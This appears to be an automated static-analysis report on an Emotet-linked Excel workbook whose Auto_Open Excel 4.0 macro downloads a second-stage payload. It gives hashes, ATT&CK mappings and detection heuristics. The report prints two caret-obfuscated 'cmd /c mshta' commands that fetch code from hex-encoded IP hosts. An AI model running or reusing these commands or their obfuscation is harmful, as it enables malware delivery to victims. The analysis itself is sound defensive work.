Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 06f5a75e2a01ecdd…

MALICIOUS

Office (OLE) / .XLSX

127.8 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: 3e39024437a4e96a1dc006bf64f15357 SHA-1: 1c74629c58b13c05bba58abcbb63f85095c68e5b SHA-256: 06f5a75e2a01ecdd6f1325f0fdfd5f8ab2cc9187bc73b8ae3e5727015afda86e
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical finding. The macro attempts to execute a command that downloads a payload from a hardcoded URL. The ClamAV detection and the nature of the macro strongly suggest Emotet, a known downloader family. The reconstructed command is 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c^c.h^tm^l' and 'cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l', indicating the script's intent to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes